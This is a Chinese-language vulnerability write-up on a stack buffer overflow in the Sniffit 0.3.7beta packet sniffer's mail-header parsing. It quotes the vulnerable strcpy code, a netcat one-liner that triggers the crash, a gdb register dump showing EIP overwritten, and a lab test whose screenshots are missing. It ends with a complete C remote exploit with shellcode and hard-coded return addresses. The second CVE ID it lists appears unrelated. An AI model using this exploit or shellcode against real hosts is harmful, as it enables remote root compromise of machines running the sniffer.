Sniffit处理邮件头缓冲区溢出漏洞
--缓冲区溢出攻击攻击
tomqq 4/25/2006
1. 漏洞概况
这个漏洞最初于2000年5月3日被发现。Sniffit是一个常用的sniffer工具。可运行在多种Unix/Linux平台上。它存在一个缓冲区溢出漏洞,可能导致攻击者远程获取root权限。经过研究,这个漏洞属于典型的栈溢出漏洞。
该漏洞的补救办法是尽快升级软件至不受影响的版本,有经验的用户可以直接修改相关代码行进行重新编译。
2. 详细攻击原理
Sniffit在使用"-L mail"参数处理窃听到的邮件头("mail from:"和"rcpto to:")的时候,会将它们拷贝到一个固定大小的buffer中,导致可能发生溢出问题:问题处在下列两个地方:
if(strstr(workbuf1,"mail from")!=NULL)
{
char workbuf2[MTU];
strcpy(workbuf2, strstr(workbuf1,"mail from"));
和
if(strstr(workbuf1,"rcpt to")!=NULL)
{
char workbuf2[MTU];
strcpy(workbuf2, strstr(workbuf1,"rcpt to"));
...
当用户对局域网内任意主机的25端口发送包含超长"mail from:..."或者"rcpt to:..."内容的消息时,将会导致监听主机上的Sniffit发生溢出:
echo "mail from:`perl -e 'print "A"x300'`"|nc -vv HOSTNAME 25
在运行Sniffit的机器上用gdb跟踪得到的结果:
Program received signal SIGSEGV, Segmentation fault.
0x61616161 in ?? ()
(gdb) i all
eax: 0x0 0
ecx: 0x8057648 134575688
edx: 0x8057648 134575688
ebx: 0xbfff5b84 -1073783932
esp: 0xbfff47a4 -1073789020
ebp: 0x61616161 1633771873
esi: 0xbfff6f0c -1073778932
edi: 0xbfff6f0c -1073778932
eip: 0x61616161 1633771873
3. 实际测试根据漏洞原理,sniffit会在解析mail,也就是邮件协议中mail from或者rcpt to指令之举包的时候,具有缓冲区的不安全操作。那么我们只要模拟一个超长的mail指令即可触发sniffit的溢出。如果分析sniffit运行时的内存布局,附一shellcode,即可实现对主机的完全控制。运行中,我们使用nc作为模拟邮件服务器,使用命令nc -l -p 25监听并接受一切发向25端口的数据。实践中,nc运行在服务器214上;攻击程序使用sniffit.c,这个程序的主要功能是向25端口的邮件服务器发送一个超长mail from指令串;被攻击端采用sniffit 0.3.7beta版,监听命令是:sniffit -c sh -L mail,sh是sniffit的配置文件,在这里,我手写了一个,
/home/hek/sh:
select from host 192.168.214
select to host 192.168.2.214
select both port 25
意思是监听一切214进出的25端口的数据。一切就绪,首先在215上运行sniffit:
在214上启动nc,如图:
下面,使用编译好的sniffit.c,从机器145发起攻击:
显示数据串发送成功,ok,转回来看215,
显示程序溢出,攻击成功。使用gdb调试这个进程,查看溢出后的寄存器内容:
可以看见,eip已经被修改为eip 0xff5bb5bf 0xff5bb5bf,攻击成功。
发送的攻击包数据是:
为一个mail指令超长串,攻击成功!
4.影响系统
- Brecht Claerhout Sniffit 0.3.7beta
Brecht Claerhout Sniffit 0.3.6HIP
-
补丁下载:
5. 对应BUG库
BUGTRAQ ID: 1158
CVE(CAN) ID: CVE-2000-0343CVE-2003-0352
附:攻击程序
/* * Sniffit 0.3.7beta Linux/x86 Remote Exploit * ShellCode is a modified version of w00w00 write egg, * to pass Sniffit input filter * * Tested on RedHat 5.2, 6.0, 6.2 * Proof Of Concept Code * * credits: |CyraX| for pointing me to the coredump * del0 for hurrying me :) * vecna for offering me drinks ;P * belf for loving and caring his GSM ;P * * FuSyS [S0ftpj|BFi] * */
#include<stdio.h> #include<stdlib.h> #include<unistd.h> #include<netdb.h> #include<netinet/in.h>
#define LENGTH 600 #define RET RH6x #define RH52 0xbfff5c10 #define RH6x 0xbfff5bb5 // 0.3.6HIP 0xbfffcc50
#define OFFSET 0 #define ALIGNOP 3 // 3 RH6.0, 4 RH6.2
// may vary [1-5]
/* Note To Script Kiddies: This ShellCode Simply Changes An Existing /etc/motd So Don't Bother DownLoading */
unsigned char shellcode[]= "\xeb\x03\x5f\xeb\x05\xe8\xf8\xff\xff\xff\x31\xdb\xb3\x35\x01\xfb" "\x30\xe4\x88\x63\x09\x31\xc9\x66\xb9\x01\x04\x31\xd2\x66\xba\xa4" "\x01\x31\xc0\xb0\x05\xcd\x80\x89\xc3\x31\xc9\xb1\x3f\x01\xf9\x31" "\xd2\xb2\x0e\x31\xc0\xb0\x04\xcd\x80\x31\xc0\xb0\x01\xcd\x80\x2f" "\x65\x74\x63\x2f\x6d\x6f\x74\x64\x01\x66\x75\x73\x79\x73\x20\x77" "\x61\x73\x20\x68\x65\x72\x65\x0a";
unsigned long nameResolve(char *hostname) { struct in_addr addr; struct hostent *hostEnt;
if((addr.s_addr=inet_addr(hostname)) == -1) { if(!(hostEnt=gethostbyname(hostname))) { printf("Name Resolution Error:`%s`\n",hostname); exit(0); } bcopy(hostEnt->h_addr,(char *)&addr.s_addr,hostEnt->h_length); } return addr.s_addr; }
int main(int argc,char **argv) { char buff[LENGTH+ALIGNOP+1]; char cmd[610]; long addr; unsigned long sp; int offset=OFFSET; int i, x; int sock; struct sockaddr_in sin;
if(argc<2) { fprintf(stderr, "Usage: %s \n", argv[0]); exit(0); }
sp=(unsigned long) RET; addr=sp-offset;
for(i=0;i<120-ALIGNOP;i++) buff[i]=0x90; for(x=0; x<strlen(shellcode); i++, x++) buff[i]=shellcode[x]; for(i-=1 ; i<LENGTH; i+=4) { buff[i ] = addr & 0x000000ff; buff[i+1] = (addr & 0x0000ff00) >> 8; buff[i+2] = (addr & 0x00ff0000) >> 16; buff[i+3] = (addr & 0xff000000) >> 24; }
printf("\nSniffit <=0.3.7beta Linux/x86 Remote Exploit\n"); printf("by FuSyS [S0ftpj|BFi] - \n\n");
memset(&sin,0,sizeof(sin)); sin.sin_family=AF_INET; sin.sin_port=htons(25); sin.sin_addr.s_addr=nameResolve(argv[1]);
printf("Connecting to %s ...\n", argv[1]);
if((sock=socket(AF_INET,SOCK_STREAM,0))<0) { printf("Can't create socket\n"); exit(0); } if(connect(sock,(struct sockaddr *)&sin,sizeof(sin))<0) { printf("Can't connect to Sniffit Server\n"); exit(0); }
printf("Injecting ShellCode ...\n");
strncat(cmd, "mail from:", 10); strncat(cmd, buff, strlen(buff)); write(sock, cmd, strlen(cmd));
printf("Done!\n\n");
return(0); }
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